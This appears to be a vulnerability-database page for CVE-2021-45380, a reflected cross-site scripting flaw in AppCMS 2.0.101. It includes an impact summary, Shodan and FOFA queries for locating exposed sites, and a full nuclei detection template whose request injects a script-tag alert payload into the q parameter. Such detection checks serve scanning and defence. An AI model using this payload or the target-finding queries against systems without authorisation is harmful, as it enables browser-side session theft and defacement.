Browse / CVEs / CVE-2021-45380
CVE-2021-45380· appcms / appcms· CWE-79
AppCMS - Cross-Site Scripting
mediumseverity
6.1CVSS score
2.5%likelihood of exploitation, next 30 days
85%of all CVEs are less likely
Readycheck to confirm it
AppCMS 2.0.101 has a cross-site scripting vulnerability in \templates\m\inc_head.php.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
Fix
Upgrade to the latest version to mitigate this vulnerability.
How to confirm it
Send: GET {{BaseURL}}/templates/m/inc_head.php?q=%22%3e%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "\"\"></script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2021-45380 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2021-45380
info:
name: AppCMS - Cross-Site Scripting
author: pikpikcu
severity: medium
description: AppCMS 2.0.101 has a cross-site scripting vulnerability in \templates\m\inc_head.php.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Upgrade to the latest version to mitigate this vulnerability.
reference:
- https://github.com/source-trace/appcms/issues/8
- https://nvd.nist.gov/vuln/detail/CVE-2021-45380
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-45380
cwe-id: CWE-79
epss-score: 0.02521
epss-percentile: 0.84985
cpe: cpe:2.3:a:appcms:appcms:2.0.101:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: appcms
product: appcms
shodan-query:
- http.html:"Powerd by AppCMS"
- http.html:"powerd by appcms"
fofa-query: body="powerd by appcms"
tags: cve2021,cve,appcms,xss,vuln
http:
- method: GET
path:
- '{{BaseURL}}/templates/m/inc_head.php?q=%22%3e%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '""></script><script>alert(document.domain)</script>'
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200References
- https://github.com/source-trace/appcms/issues/8
- https://nvd.nist.gov/vuln/detail/CVE-2021-45380
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
Use this check only on systems you are authorised to test. Where the data comes from